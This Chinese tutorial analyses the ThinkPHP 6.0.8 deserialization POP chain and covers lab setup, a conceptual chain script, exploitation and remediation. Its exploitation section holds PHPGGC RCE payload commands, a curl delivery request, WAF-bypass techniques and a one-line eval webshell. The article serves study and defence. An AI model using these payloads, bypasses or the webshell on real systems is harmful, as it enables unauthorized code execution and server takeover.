ThinkPHP 6.0.8反序列化漏洞深度剖析：从POP链原理到实战利用

1. 项目概述：一次对ThinkPHP6.0.8反序列化漏洞的深度剖析

最近在复盘一些经典的PHP框架漏洞案例，ThinkPHP6.0.8的反序列化漏洞（CVE-2021-36542）绝对是一个绕不开的经典。这个漏洞的利用链（POP Chain）设计得非常巧妙，它不像一些简单的单点漏洞，而是通过框架内部多个类的属性与方法相互“勾连”，最终实现任意代码执行。很多刚接触安全研究的朋友一听到“反序列化漏洞”和“POP链”就觉得头大，感觉是“黑魔法”。其实不然，只要你跟着我一步步拆解，把每个环节的“为什么”搞清楚，你会发现这更像是在解一个设计精巧的机关锁，每一步都环环相扣。这篇文章，我就以一个一线渗透测试工程师的视角，带你从零开始，彻底吃透这个漏洞的原理、环境搭建、POP链构造以及实战利用的全过程。无论你是想复现漏洞加深理解，还是想在CTF比赛中快速利用，亦或是想提升自己的代码审计能力，这篇深度解析都能给你带来实实在在的干货。

2. 漏洞原理与POP链核心思想拆解

2.1 反序列化漏洞的本质是什么？

在深入ThinkPHP6.0.8的具体漏洞之前，我们必须先统一对反序列化漏洞本质的认识。很多文章一上来就讲unserialize()函数危险，但为什么危险？核心在于“对象重建”过程中的“副作用”。

当你对一个序列化字符串（比如O:4:"User":2:{s:4:"name";s:5:"Alice";s:3:"age";i:25;}）进行反序列化时，PHP引擎会做这几件事：

1. 根据类名（如User）尝试实例化一个对象。
2. 按照字符串中的属性定义，逐一为这个新对象赋值。
3. 如果这个类定义了__wakeup()、__destruct()或__toString()等魔术方法，PHP会在对象生命周期的特定节点自动调用它们。

漏洞的根源就在这里：攻击者可以完全控制序列化字符串中的数据。如果某个类的__wakeup()或__destruct()方法中，包含了基于对象属性进行危险操作（如file_put_contents($this->filename, $this->data)）的代码，那么攻击者通过精心构造的属性值，就能在反序列化过程中“劫持”程序流，执行任意操作。

ThinkPHP6.0.8的漏洞之所以典型，是因为它并非一个简单的、直接的危险函数调用。它的利用链（Property-Oriented Programming Chain, POP Chain）需要串联起多个类，像多米诺骨牌一样，一个触发另一个。

2.2 ThinkPHP6.0.8 POP链的核心齿轮

根据公开的漏洞分析，这个漏洞的POP链通常涉及几个关键类，例如think\process\pipes\Windows和think\model\concern\Conversion等。这里我们不直接贴出完整利用链，而是重点解析其核心思想，理解为什么这些类能被“链接”起来。

核心思路一：寻找无害方法的“危险参数”第一个突破口往往是一个看起来无害的类方法。比如，某个类A的__toString()方法里，有一行代码是return $this->writer->save($this->data);。这个方法本身只是返回一个字符串，但$this->writer和$this->data都是我们可以控制的属性。如果我们将$this->writer设置为另一个类B的对象，而类B的save()方法恰好能执行文件写入或命令执行，那么当类A的对象被当作字符串处理时（例如在echo或字符串拼接中），就会触发类B的危险操作。

核心思路二：利用PHP的内置行为触发魔术方法POP链的构建，很大程度上是在“安排”PHP自动调用魔术方法的顺序。__destruct()是对象销毁时调用，__toString()是对象被当作字符串时调用，__call()是调用不存在的方法时触发。攻击链的设计，就是让一个对象的__destruct()去触发另一个对象的__toString()，再让这个__toString()去触发第三个对象的__call()，如此串联，直至执行到我们最终的目标函数（如system()或file_put_contents()）。

ThinkPHP6.0.8链的典型触发点：往往始于一个析构函数__destruct()。在这个析构函数中，可能会调用某个属性（如$this->files）的removeFiles()方法。如果我们控制$this->files为一个数组，并且数组中的元素是另一个类的对象，而那个类恰好有一个__toString()方法，那么链就被成功“点燃”了。

注意：实际的POP链构造需要精确的代码审计，这里描述的是通用逻辑。不同版本的ThinkPHP，其内部类结构和方法可能不同，因此POP链的具体路径需要根据目标版本进行适配和调整。

3. 漏洞复现环境搭建与核心工具准备

纸上得来终觉浅，绝知此事要躬行。要真正理解这个漏洞，亲手搭建环境复现是必不可少的环节。

3.1 靶机环境搭建

我们选择在本地使用Docker快速搭建一个纯净的ThinkPHP 6.0.8环境，这能避免污染本地PHP环境，也便于随时重置。

1. 创建项目目录：

   mkdir tp6-poc && cd tp6-poc

2. 使用Composer安装指定版本ThinkPHP：

   composer create-project topthink/think=6.0.8 .

   如果安装速度慢，可以切换Composer镜像源。这一步会创建一个完整的ThinkPHP 6.0.8项目骨架。

3. 创建一个存在反序列化入口的测试控制器： 在app/controller目录下创建Test.php：

   <?php namespace app\controller; class Test { public function index() { if (isset($_POST['data'])) { // 漏洞点：直接反序列化用户输入 $data = unserialize(base64_decode($_POST['data'])); // 为了触发链，通常需要让$data被以某种方式使用，比如赋值给一个会在后续流程中被处理的属性 // 这里简单返回一个信息，实际利用链的触发可能依赖于框架的其他生命周期 return 'Data unserialized.'; } return 'Please POST data.'; } }

   这是一个极度简化的、不安全的代码示例，仅用于演示反序列化入口。在真实漏洞中，入口点可能隐藏在缓存处理、Session反序列化等更隐蔽的地方。

4. 配置路由（route/app.php）：

   use think\facade\Route; Route::post('test', 'app/controller/Test/index');

5. 使用Docker运行： 在项目根目录创建Dockerfile：

   FROM php:7.4-apache RUN apt-get update && apt-get install -y \ libzip-dev \ zip \ && docker-php-ext-install zip pdo_mysql \ && a2enmod rewrite COPY . /var/www/html/ RUN chown -R www-data:www-data /var/www/html

   构建并运行：

   docker build -t tp6-poc . docker run -d -p 8080:80 --name tp6-poc-container tp6-poc

   现在，访问http://localhost:8080应该能看到ThinkPHP的欢迎页面，而http://localhost:8080/test可以通过POST方式访问我们的测试接口。

3.2 核心工具与脚本准备

手工构造复杂的POP链序列化字符串极其繁琐且容易出错，我们通常借助工具。

1. PHPGGC（PHP Generic Gadget Chains）： 这是目前最强大的PHP反序列化利用链生成工具。它内置了针对Laravel、Symfony、ThinkPHP等众多框架和库的通用利用链。

   • 安装：git clone https://github.com/ambionics/phpggc.git
   • 查看ThinkPHP链：cd phpggc && ./phpggc -l ThinkPHP
   • 你会发现其中包含针对不同版本ThinkPHP的链，如ThinkPHP/RCE1、ThinkPHP/RCE2等。我们需要寻找适用于6.0.8版本的链。

2. 代码审计工具辅助：

   • RIPS或Fortify：用于静态代码分析，可以帮助我们快速定位unserialize()调用点以及潜在的POP链起点。
   • PHPStorm：强大的IDE，其“查找用法”功能在跟踪类与方法调用关系时非常有用。
   • 手动审计：对于学习而言，没有比手动阅读vendor/topthink/framework/src目录下源码更好的方式了。重点关注具有__destruct(),__toString(),__call(),__get(),__set()魔术方法的类。

3. 序列化字符串生成与调试：

   • 自己编写PHP脚本，逐步实例化对象、设置属性、序列化，并观察中间结果。

   <?php namespace think\process\pipes { class Windows { private $files; public function __construct() { $this->files = [new \think\model\Pivot]; // 这里填入链的下一个对象 } } } // ... 其他链上的类定义 $obj = new Windows(); echo serialize($obj);

   • 利用var_dump()和print_r()仔细检查每个环节对象的属性是否正确。

实操心得：环境搭建时，务必确保PHP版本与目标环境一致（ThinkPHP 6.0.8 要求 PHP >= 7.1.0）。使用Docker能完美解决环境依赖问题。在利用PHPGGC时，要注意其生成的Payload可能包含命名空间，需要与目标应用的自动加载机制匹配。如果目标开启了opcache或存在其他限制，可能需要对Payload进行微调。

4. POP链构造详解与Payload手工打造

虽然工具方便，但理解手工构造过程是掌握漏洞精髓的关键。我们以一条简化的、基于公开信息的ThinkPHP 6.0.8 POP链思路为例，进行推演（请注意，实际利用链可能更复杂，且需根据具体代码调整）。

4.1 链的起点：think\process\pipes\Windows::__destruct()

假设我们审计发现Windows类有如下析构函数：

public function __destruct() { $this->removeFiles(); } private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } }

这里的$this->files预期是一个文件名数组。但如果我们将其设置为一个包含其他对象的数组呢？foreach会遍历数组中的每个元素。如果元素是对象，并且在某些上下文中（比如在file_exists()内部，如果参数是对象，PHP会尝试将其转换为字符串）会被当作字符串使用，就会触发该对象的__toString()方法。

我们的第一步：实例化一个Windows对象，并将其files属性设置为一个数组，数组里放入我们精心挑选的、具有可利用__toString()方法的对象。

4.2 链的传递：think\model\concern\Conversion::__toString()

假设我们找到Conversiontrait（被think\model\Pivot类使用）中的__toString()方法：

public function __toString() { return $this->toJson(); } public function toJson() { // ... 可能会调用 $this->getAttr() 等方法 // 而 getAttr() 可能会触发 __get() 魔术方法 }

__toString()方法调用了toJson()。在toJson()或其后调用的方法中，框架可能会尝试访问对象的某些属性（例如$this->data）。如果这些属性不存在，或者被我们控制为另一个对象，就可能触发__get()魔术方法。

我们的第二步：让Windows::$files数组中的对象，是一个think\model\Pivot实例（使用了Conversiontrait）。并设置其某些属性（如data、relation等）为另一个具有危险__get()或__call()方法的对象。

4.3 链的终结：通往代码执行

我们需要找到一个类，其__get()或__call()方法中，存在我们可以控制的危险函数调用。例如，某个类A的__call()方法如下：

public function __call($method, $args) { if (isset($this->hook[$method])) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); } // ... }

如果我们能控制$this->hook为一个数组，且$method恰好是数组的某个键，那么call_user_func_array()的第一个参数（即回调函数）和后续参数就完全可控了。我们可以将其设置为system函数和要执行的命令。

我们的第三步：构造一个类A的对象，将其hook属性设置为['任意方法名' => 'system']。然后让上一步的Pivot对象的某个属性指向这个类A的对象。

4.4 完整Payload组装脚本示例

将以上思路组合成一个PHP脚本：

<?php namespace think\process\pipes { class Windows { private $files; public function __construct($obj) { $this->files = [$obj]; } } } namespace think\model { use think\model\concern\Conversion; class Pivot { use Conversion; protected $data; public function __construct($data) { $this->data = $data; } } } // 假设的终点类（实际类名和结构需要根据真实代码审计确定） namespace think { class EvilClass { private $hook; public function __construct($cmd) { $this->hook = ['anyMethod' => 'system']; // 这里需要一个方式让命令成为参数，可能需要另一个属性来存储 $this->args = [$cmd]; } public function __get($name) { // 当Pivot的toJson()尝试访问某个属性时，触发这里 // 这里可以设计成调用call_user_func_array if ($name == 'trigger') { return call_user_func_array($this->hook['anyMethod'], $this->args); } } } } namespace { // 组装链条 $evil = new think\EvilClass('whoami'); $pivot = new think\model\Pivot($evil); $windows = new think\process\pipes\Windows($pivot); // 生成Payload $payload = serialize($windows); echo base64_encode($payload) . PHP_EOL; }

重要提示：以上代码是高度简化的概念性演示，并非真实可用的ThinkPHP 6.0.8利用链。真实的POP链构造需要对框架源码进行极其细致的审计，找到确切的类、方法、属性名和调用关系。这里的关键是展示“属性控制”和“方法触发”的串联思想。

5. 实战利用场景与绕过技巧

理解了原理和构造方法，我们来看看在真实渗透测试中，如何利用这个漏洞。

5.1 寻找反序列化入口点

漏洞利用的前提是找到可以控制unserialize()函数输入的地方。在ThinkPHP中，常见的入口点包括：

1. 缓存驱动：如果使用File或Redis缓存，并且缓存数据未经验证就反序列化。例如，某些情况下，Session数据可能以序列化形式存储。
2. 数据库序列化字段：如果应用将序列化后的数据存入数据库的某个字段（例如存储配置数组），并在读取时直接反序列化，且该数据能被用户间接控制（如通过某处注入更新）。
3. Cookie或HTTP参数：极少数情况下，开发者可能错误地将用户可控数据直接用于unserialize()。更常见的是，框架自身某些组件在特定配置下可能接受序列化数据。
4. Phar反序列化：这是一个非常重要的旁路入口。如果应用存在文件上传功能，且上传的文件能被以phar://协议访问（例如file_get_contents('phar://./uploads/evil.jpg')），那么即使没有直接的unserialize()调用，也能触发Phar文件元数据中的序列化对象，从而利用POP链。这在ThinkPHP的历史漏洞中也有体现。

5.2 利用过程与Payload投递

假设我们找到了一个通过POST参数data进行反序列化的入口（如我们之前创建的测试控制器）。

1. 使用PHPGGC生成Payload：

   ./phpggc -b ThinkPHP/RCE2 system "whoami"

   -b参数用于生成Base64编码后的Payload。命令whoami会被嵌入到POP链的最终执行点。

2. 发送恶意请求： 使用curl或Burp Suite发送POST请求：

   curl -X POST http://target.com/test -d "data=<生成的Base64 Payload>"

   如果漏洞存在且利用链正确，服务器会执行whoami命令，并将结果返回（可能隐藏在响应体、错误日志或通过其他方式外带）。

5.3 常见WAF与防御绕过技巧

实战中，目标系统可能部署了WAF或启用了安全配置，需要一些技巧来绕过。

1. 编码绕过：

   • Base64：这是最基本的，很多WAF不会深度解码检查。
   • URL编码：对Payload进行全URL编码。
   • 多级编码：Base64后再URL编码，甚至多次循环。
   • 十六进制/Unicode编码：PHP的unserialize()支持某些编码形式。

2. POP链变形：

   • 属性修饰符：PHP序列化会区分属性的访问控制（public, protected, private）。Private和protected属性在序列化字符串中会有类名前缀和空字节\0。如果WAF简单匹配类名和属性名，可以通过调整属性访问控制来绕过。
   • 使用不同的链：PHPGGC可能提供多条链（RCE1, RCE2）。如果一条链被特征识别，可以尝试另一条。
   • 自定义链：如果公开的链被全面封堵，就需要自己审计代码，寻找新的、未被公开的POP链组合，这是最高阶的绕过方式。

3. 命令执行绕过：

   • 如果system、shell_exec等函数被禁用，可以尝试passthru、exec、popen、proc_open，或者使用反引号`。
   • 可以使用phpinfo()探针查看被禁用的函数列表。
   • 利用文件操作函数写入Webshell，如file_put_contents('/path/to/shell.php', '<?php eval($_POST[cmd]);?>')。

注意事项：在实战中，务必遵守授权测试原则。Payload的构造和发送要谨慎，避免使用rm -rf /等破坏性命令。建议先使用id、whoami、uname -a等命令进行验证。同时，要注意命令执行的环境和当前用户权限，这决定了你能做什么。

6. 漏洞修复方案与安全开发建议

作为开发者，如何避免自己的应用受到此类漏洞威胁？

6.1 官方修复与升级

对于ThinkPHP 6.0.8，官方在后续版本中修复了此漏洞。最直接、最有效的修复方式是升级到最新安全版本。可以通过Composer更新：

composer update topthink/framework

升级前务必阅读更新日志，做好兼容性测试。

6.2 代码层修复与安全实践

如果因故无法升级，可以考虑以下代码层加固措施：

1. 严格检查反序列化输入：绝对不要对用户输入的、未经严格验证的数据进行反序列化。如果必须反序列化，应使用白名单机制，只允许反序列化预期的、安全的类。

   // 错误的做法 $data = unserialize($_POST['data']); // 改进的做法：使用白名单 $allowed_classes = ['SafeClassA', 'SafeClassB']; function safe_unserialize($serialized, $allowed_classes) { $data = unserialize($serialized, ['allowed_classes' => $allowed_classes]); // PHP 7.0+ 支持 allowed_classes 选项 return $data; } $data = safe_unserialize($_POST['data'], $allowed_classes);

2. 避免使用危险的魔术方法：在自定义类中，谨慎使用__destruct()、__wakeup()、__toString()、__call()等魔术方法。如果必须使用，确保方法内部逻辑不依赖于用户可控的对象属性来执行敏感操作。

3. 使用JSON等安全数据格式：在需要存储或传输复杂数据时，优先考虑使用JSON (json_encode/json_decode) 而非PHP序列化。JSON不存在代码执行的风险。

4. 关闭不必要的PHP特性：在php.ini中，可以设置disable_functions来禁用危险的函数（如system,exec,shell_exec,passthru,proc_open等）。但这不是根本解决方案，有经验的攻击者可能找到其他路径。

6.3 架构与运维层面防护

1. 部署WAF：Web应用防火墙可以帮助拦截已知攻击模式的Payload，为修复漏洞争取时间。
2. 最小权限原则：运行Web服务的用户（如www-data,nginx）应仅拥有必要的最小权限。避免使用root权限运行，并限制其对文件系统的写入权限。
3. 定期安全审计与漏洞扫描：对代码进行定期的静态安全扫描（SAST）和动态应用安全测试（DAST），及时发现问题。
4. 依赖项安全管理：使用Composer的composer audit命令检查项目依赖的第三方包是否存在已知安全漏洞，并及时更新。

7. 从ThinkPHP漏洞延伸的PHP反序列化学习路径

ThinkPHP 6.0.8的反序列化漏洞是一个绝佳的学习案例。通过它，你可以沿着以下路径深入PHP安全领域：

1. 基础巩固：彻底掌握PHP序列化/反序列化语法、所有魔术方法（__sleep,__wakeup,__destruct,__toString,__call,__get,__set,__isset,__unset）的触发时机。
2. POP链构造训练：
   • 手动审计：选择其他开源项目（如WordPress插件、其他PHP框架的旧版本），尝试手动寻找并构造POP链。
   • 研究PHPGGC：阅读PHPGGC中已有链的源代码，理解其构造逻辑。尝试为其支持的库编写新的Gadget Chain。
3. 拓展利用面：
   • Phar反序列化：深入研究Phar协议如何触发反序列化，以及如何将Phar文件与图片等结合制作Polyglot文件进行利用。
   • Session反序列化：理解PHP Session的存储机制（php_serialize,php_binary等处理器），以及如何利用Session上传进度、session.upload_progress等特性进行攻击。
4. 防御机制与绕过：
   • 研究unserialize()的allowed_classes选项的局限性。
   • 了解如何通过字符编码、属性修饰符等方式绕过WAF的检测。
   • 学习OPcache、PHP-FPM等运行机制对漏洞利用的影响。
5. 参与实战与社区：
   • 在合法的靶场环境（如DVWA、WebGoat PHP版、自己搭建的漏洞实验环境）中进行练习。
   • 关注安全社区（如Seebug、先知、国外安全博客）的最新漏洞分析文章，保持学习。

这个漏洞的复现和研究过程，就像一次对PHP对象生命周期和框架内部运作机制的深度之旅。它考验的不仅仅是漏洞利用的技巧，更是对代码的阅读理解能力、逻辑串联能力和耐心。当你成功构造出一条能稳定执行命令的POP链时，那种成就感是无与伦比的。希望这篇超详细的解析能为你打开这扇门，更重要的是，让你建立起一种深入探究、不畏复杂的安全研究思维。在实际开发中，也请时刻牢记这些漏洞产生的根源，写出更安全的代码。